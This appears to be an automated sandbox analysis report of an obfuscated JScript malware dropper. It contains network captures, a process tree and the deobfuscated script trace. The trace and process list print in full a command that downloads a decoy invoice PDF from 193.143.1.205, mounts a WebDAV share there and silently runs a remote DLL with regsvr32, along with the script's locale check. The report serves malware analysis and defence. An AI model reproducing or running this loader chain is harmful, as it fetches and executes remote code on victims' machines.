Jan 11, 2025 05:24:20.403819084 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:24:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:24:20.403845072 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:24:20.403861046 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:24:20.403877020 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 05:24:20.403917074 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 05:24:20.403965950 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 05:24:20.403981924 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 05:24:20.403995991 CET	672	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 05:24:20.404011965 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 05:24:20.404027939 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 11, 2025 05:24:20.408853054 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	7968	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:24:22.340337038 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:24:23.149784088 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:24:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:24:15
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js"
Imagebase:	0x7ff6dbc40000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:24:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Imagebase:	0x7ff777ac0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:24:16
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:24:16
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:24:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:24:21
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff777ac0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:24:21
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d40c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:24:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:24:22
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:24:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1624,i,14524519122257638584,7991782461495427163,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function uzildcptt() {	uzildcptt() ➔ undefined
1	pfrwkiwm = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var utajga = this[zbjqrvobe + glqrna + tgwbhqdx + rwmsvhabs + eopkddm + bqkuczg + zxmri + fqrlvi] ( this[ouitmvaig + ibznztbv + unorqc + tgwbhqdx + ecdabptp + zbjqrvobe + fqrlvi][djceufm + tgwbhqdx + eopkddm + glqrna + fqrlvi + eopkddm + vftkpomg + bzgpwhchi + vutwqyyj + eopkddm + unorqc + fqrlvi] ( ouitmvaig + ibznztbv + unorqc + tgwbhqdx + ecdabptp + zbjqrvobe + fqrlvi + knapvcgv + ibznztbv + zahgh + eopkddm + pbexylw + pbexylw ) [fliemnbv + eopkddm + dejsqgmq + fliemnbv + eopkddm + glqrna + fxsqk] ( yfgmju + oqxzlnpas + rdadmyygg + jfjyrsjps + ghzlh + djceufm + bpqezj + fliemnbv + fliemnbv + rdadmyygg + etpbpz + zlmuzjhiu + ghzlh + bpqezj + ibznztbv + rdadmyygg + fliemnbv + mcxma + djceufm + gukxmpz + zxmri + fqrlvi + tgwbhqdx + gukxmpz + pbexylw + uwtss + xgnuw + glqrna + zxmri + eopkddm + pbexylw + mcxma + bqkuczg + zxmri + fqrlvi + eopkddm + tgwbhqdx + zxmri + glqrna + fqrlvi + ecdabptp + gukxmpz + zxmri + glqrna + pbexylw + mcxma + vtymqb + gukxmpz + unorqc + glqrna + pbexylw + eopkddm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rjhyri = 0 ; rjhyri < pfrwkiwm[pbexylw + eopkddm + zxmri + dejsqgmq + fqrlvi + zahgh] ; ++ rjhyri )
4	{
5	if ( utajga == pfrwkiwm[rjhyri] )
6	{
7	utajga = true;
8	break ;
9	}
10	}
11	if ( utajga !== true )
12	this[ouitmvaig + ibznztbv + unorqc + tgwbhqdx + ecdabptp + zbjqrvobe + fqrlvi][wuzil + gemmljfqg + ecdabptp + fqrlvi] ( );
13	this[ouitmvaig + ibznztbv + unorqc + tgwbhqdx + ecdabptp + zbjqrvobe + fqrlvi][djceufm + tgwbhqdx + eopkddm + glqrna + fqrlvi + eopkddm + vftkpomg + bzgpwhchi + vutwqyyj + eopkddm + unorqc + fqrlvi] ( ouitmvaig + ibznztbv + unorqc + tgwbhqdx + ecdabptp + zbjqrvobe + fqrlvi + knapvcgv + ibznztbv + zahgh + eopkddm + pbexylw + pbexylw ) [tgwbhqdx + gemmljfqg + zxmri] ( unorqc + stqldqk + fxsqk + uwtss + nlddsow + unorqc + uwtss + zbjqrvobe + gukxmpz + xhjsiog + eopkddm + tgwbhqdx + rwmsvhabs + zahgh + eopkddm + pbexylw + pbexylw + knapvcgv + eopkddm + rkpdxyjot + eopkddm + uwtss + siawk + djceufm + gukxmpz + stqldqk + stqldqk + glqrna + zxmri + fxsqk + uwtss + fggcz + bqkuczg + zxmri + aktisgkc + gukxmpz + dcywlofsj + eopkddm + siawk + ouitmvaig + eopkddm + bzgpwhchi + fliemnbv + eopkddm + sqqsxlsxy + gemmljfqg + eopkddm + rwmsvhabs + fqrlvi + uwtss + siawk + vftkpomg + gemmljfqg + fqrlvi + rmytdogn + ecdabptp + pbexylw + eopkddm + uwtss + lzyhvnro + fqrlvi + eopkddm + stqldqk + zbjqrvobe + lzyhvnro + mcxma + ecdabptp + zxmri + aktisgkc + gukxmpz + ecdabptp + unorqc + eopkddm + knapvcgv + zbjqrvobe + fxsqk + bnbhmags + uwtss + zahgh + fqrlvi + fqrlvi + zbjqrvobe + krwqobw + nlddsow + nlddsow + jssfxstq + iywmgqrwt + yqtes + knapvcgv + jssfxstq + clfzikh + yqtes + knapvcgv + jssfxstq + knapvcgv + zrukea + yrknib + rzmasdkdz + nlddsow + ecdabptp + zxmri + aktisgkc + gukxmpz + ecdabptp + unorqc + eopkddm + knapvcgv + zbjqrvobe + zahgh + zbjqrvobe + fggcz + iegsiib + iegsiib + rwmsvhabs + fqrlvi + glqrna + tgwbhqdx + fqrlvi + uwtss + lzyhvnro + fqrlvi + eopkddm + stqldqk + zbjqrvobe + lzyhvnro + mcxma + ecdabptp + zxmri + aktisgkc + gukxmpz + ecdabptp + unorqc + eopkddm + knapvcgv + zbjqrvobe + fxsqk + bnbhmags + iegsiib + iegsiib + unorqc + stqldqk + fxsqk + uwtss + nlddsow + unorqc + uwtss + zxmri + eopkddm + fqrlvi + uwtss + gemmljfqg + rwmsvhabs + eopkddm + uwtss + mcxma + mcxma + jssfxstq + iywmgqrwt + yqtes + knapvcgv + jssfxstq + clfzikh + yqtes + knapvcgv + jssfxstq + knapvcgv + zrukea + yrknib + rzmasdkdz + nskizgxmh + srugcr + srugcr + srugcr + srugcr + mcxma + fxsqk + glqrna + aktisgkc + xhjsiog + xhjsiog + xhjsiog + tgwbhqdx + gukxmpz + gukxmpz + fqrlvi + mcxma + iegsiib + iegsiib + unorqc + stqldqk + fxsqk + uwtss + nlddsow + unorqc + uwtss + tgwbhqdx + eopkddm + dejsqgmq + rwmsvhabs + aktisgkc + tgwbhqdx + yqtes + zrukea + uwtss + nlddsow + rwmsvhabs + uwtss + mcxma + mcxma + jssfxstq + iywmgqrwt + yqtes + knapvcgv + jssfxstq + clfzikh + yqtes + knapvcgv + jssfxstq + knapvcgv + zrukea + yrknib + rzmasdkdz + nskizgxmh + srugcr + srugcr + srugcr + srugcr + mcxma + fxsqk + glqrna + aktisgkc + xhjsiog + xhjsiog + xhjsiog + tgwbhqdx + gukxmpz + gukxmpz + fqrlvi + mcxma + jssfxstq + vnimti + jssfxstq + zzlfuiozh + srugcr + jssfxstq + vnimti + clfzikh + jssfxstq + yrknib + jssfxstq + yqtes + clfzikh + yrknib + yqtes + knapvcgv + fxsqk + pbexylw + pbexylw, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll",0,false) ➔ 0
14	}
15	bpqezj = "J";
16	bpqezj = "U";
17	bpqezj = "o";
18	bpqezj = "S";
19	bpqezj = "D";
20	bpqezj = "o";
21	bpqezj = "W";
22	bpqezj = "s";
23	bpqezj = "O";
24	bpqezj = "E";
25	bpqezj = "w";
26	bpqezj = "q";
27	bpqezj = "g";
28	bpqezj = "L";
29	bpqezj = "t";
30	bpqezj = "A";
31	bpqezj = "i";
32	bpqezj = "q";
33	bpqezj = "s";
34	bpqezj = "x";
35	bpqezj = "W";
36	bpqezj = "P";
37	bpqezj = "t";
38	bpqezj = "e";
39	bpqezj = "D";
40	bpqezj = "J";
41	bpqezj = "J";
42	bpqezj = "F";
43	bpqezj = "U";
44	vtymqb = "p";
45	vtymqb = "Z";
46	vtymqb = "m";
47	vtymqb = "V";
48	vtymqb = "B";
49	vtymqb = "w";
50	vtymqb = "x";
51	vtymqb = "L";
52	zrukea = "h";
53	zrukea = "j";
54	zrukea = "N";
55	zrukea = "m";
56	zrukea = "y";
57	zrukea = "Z";
58	zrukea = "h";
59	zrukea = "N";
60	zrukea = "Y";
61	zrukea = "M";
62	zrukea = "l";
63	zrukea = "x";
64	zrukea = "j";
65	zrukea = "s";
66	zrukea = "H";
67	zrukea = "Z";
68	zrukea = "j";
69	zrukea = "m";
70	zrukea = "w";
71	zrukea = "n";
72	zrukea = "J";
73	zrukea = "z";
74	zrukea = "C";
75	zrukea = "O";
76	zrukea = "C";
77	zrukea = "t";
78	zrukea = "e";
79	zrukea = "v";
80	zrukea = "O";
81	zrukea = "o";
82	zrukea = "L";
83	zrukea = "b";
84	zrukea = "O";
85	zrukea = "g";
86	zrukea = "b";
87	zrukea = "2";
88	oqxzlnpas = "j";
89	oqxzlnpas = "x";
90	oqxzlnpas = "H";
91	oqxzlnpas = "Y";
92	oqxzlnpas = "f";
93	oqxzlnpas = "j";
94	oqxzlnpas = "r";
95	oqxzlnpas = "q";
96	oqxzlnpas = "z";
97	oqxzlnpas = "r";
98	oqxzlnpas = "l";
99	oqxzlnpas = "R";
100	oqxzlnpas = "g";
101	oqxzlnpas = "A";
102	oqxzlnpas = "E";
103	oqxzlnpas = "T";
104	oqxzlnpas = "J";
105	oqxzlnpas = "V";
106	oqxzlnpas = "f";
107	oqxzlnpas = "F";
108	oqxzlnpas = "R";
109	oqxzlnpas = "M";
110	oqxzlnpas = "Y";
111	oqxzlnpas = "j";
112	oqxzlnpas = "Z";
113	oqxzlnpas = "n";
114	oqxzlnpas = "J";
115	oqxzlnpas = "N";
116	oqxzlnpas = "W";
117	oqxzlnpas = "c";
118	oqxzlnpas = "j";
119	oqxzlnpas = "G";
120	oqxzlnpas = "A";
121	oqxzlnpas = "h";
122	oqxzlnpas = "K";
123	nlddsow = "Y";
124	nlddsow = "b";
125	nlddsow = "W";
126	nlddsow = "O";
127	nlddsow = "X";
128	nlddsow = "n";
129	nlddsow = "g";
130	nlddsow = "O";
131	nlddsow = "u";
132	nlddsow = "u";
133	nlddsow = "A";
134	nlddsow = "C";
135	nlddsow = "C";
136	nlddsow = "z";
137	nlddsow = "d";
138	nlddsow = "e";
139	nlddsow = "c";
140	nlddsow = "Y";
141	nlddsow = "h";
142	nlddsow = "g";
143	nlddsow = "l";
144	nlddsow = "I";
145	nlddsow = "C";
146	nlddsow = "a";
147	nlddsow = "/";
148	srugcr = "D";
149	srugcr = "v";
150	srugcr = "x";
151	srugcr = "q";
152	srugcr = "J";
153	srugcr = "l";
154	srugcr = "N";
155	srugcr = "i";
156	srugcr = "t";
157	srugcr = "y";
158	srugcr = "Y";
159	srugcr = "Q";
160	srugcr = "M";
161	srugcr = "U";
162	srugcr = "J";
163	srugcr = "o";
164	srugcr = "C";
165	srugcr = "w";
166	srugcr = "s";
167	srugcr = "K";
168	srugcr = "8";
169	tgwbhqdx = "s";
170	tgwbhqdx = "F";
171	tgwbhqdx = "o";
172	tgwbhqdx = "I";
173	tgwbhqdx = "e";
174	tgwbhqdx = "k";
175	tgwbhqdx = "w";
176	tgwbhqdx = "A";
177	tgwbhqdx = "d";
178	tgwbhqdx = "Y";
179	tgwbhqdx = "t";
180	tgwbhqdx = "D";
181	tgwbhqdx = "B";
182	tgwbhqdx = "R";
183	tgwbhqdx = "d";
184	tgwbhqdx = "y";
185	tgwbhqdx = "Y";
186	tgwbhqdx = "N";
187	tgwbhqdx = "s";
188	tgwbhqdx = "r";
189	tgwbhqdx = "l";
190	tgwbhqdx = "n";
191	tgwbhqdx = "m";
192	tgwbhqdx = "u";
193	tgwbhqdx = "q";
194	tgwbhqdx = "A";
195	tgwbhqdx = "g";
196	tgwbhqdx = "E";
197	tgwbhqdx = "C";
198	tgwbhqdx = "E";
199	tgwbhqdx = "w";
200	tgwbhqdx = "c";
201	tgwbhqdx = "J";
202	tgwbhqdx = "x";
203	tgwbhqdx = "p";
204	tgwbhqdx = "J";
205	tgwbhqdx = "j";
206	tgwbhqdx = "r";
207	xhjsiog = "K";
208	xhjsiog = "X";
209	xhjsiog = "n";
210	xhjsiog = "k";
211	xhjsiog = "G";
212	xhjsiog = "w";
213	zahgh = "c";
214	zahgh = "j";
215	zahgh = "S";
216	zahgh = "w";
217	zahgh = "D";
218	zahgh = "S";
219	zahgh = "I";
220	zahgh = "K";
221	zahgh = "X";
222	zahgh = "W";
223	zahgh = "I";
224	zahgh = "E";
225	zahgh = "d";
226	zahgh = "g";
227	zahgh = "P";
228	zahgh = "A";
229	zahgh = "P";
230	zahgh = "F";
231	zahgh = "t";
232	zahgh = "i";
233	zahgh = "D";
234	zahgh = "U";
235	zahgh = "m";
236	zahgh = "W";
237	zahgh = "P";
238	zahgh = "h";
239	zahgh = "o";
240	zahgh = "F";
241	zahgh = "X";
242	zahgh = "M";
243	zahgh = "z";
244	zahgh = "k";
245	zahgh = "M";
246	zahgh = "V";
247	zahgh = "l";
248	zahgh = "B";
249	zahgh = "J";
250	zahgh = "h";
251	glqrna = "a";
252	sqqsxlsxy = "k";
253	sqqsxlsxy = "x";
254	sqqsxlsxy = "k";
255	sqqsxlsxy = "e";
256	sqqsxlsxy = "u";
257	sqqsxlsxy = "I";
258	sqqsxlsxy = "J";
259	sqqsxlsxy = "h";
260	sqqsxlsxy = "P";
261	sqqsxlsxy = "r";
262	sqqsxlsxy = "l";
263	sqqsxlsxy = "T";
264	sqqsxlsxy = "Z";
265	sqqsxlsxy = "H";
266	sqqsxlsxy = "S";
267	sqqsxlsxy = "Z";
268	sqqsxlsxy = "M";
269	sqqsxlsxy = "l";
270	sqqsxlsxy = "D";
271	sqqsxlsxy = "Q";
272	sqqsxlsxy = "t";
273	sqqsxlsxy = "j";
274	sqqsxlsxy = "H";
275	sqqsxlsxy = "y";
276	sqqsxlsxy = "a";
277	sqqsxlsxy = "j";
278	sqqsxlsxy = "E";
279	sqqsxlsxy = "P";
280	sqqsxlsxy = "Z";
281	sqqsxlsxy = "f";
282	sqqsxlsxy = "T";
283	sqqsxlsxy = "Y";
284	sqqsxlsxy = "t";
285	sqqsxlsxy = "t";
286	sqqsxlsxy = "e";
287	sqqsxlsxy = "W";
288	sqqsxlsxy = "V";
289	sqqsxlsxy = "q";
290	sqqsxlsxy = "l";
291	sqqsxlsxy = "l";
292	sqqsxlsxy = "d";
293	sqqsxlsxy = "b";
294	sqqsxlsxy = "q";
295	ghzlh = "V";
296	ghzlh = "Q";
297	ghzlh = "y";
298	ghzlh = "r";
299	ghzlh = "b";
300	ghzlh = "R";
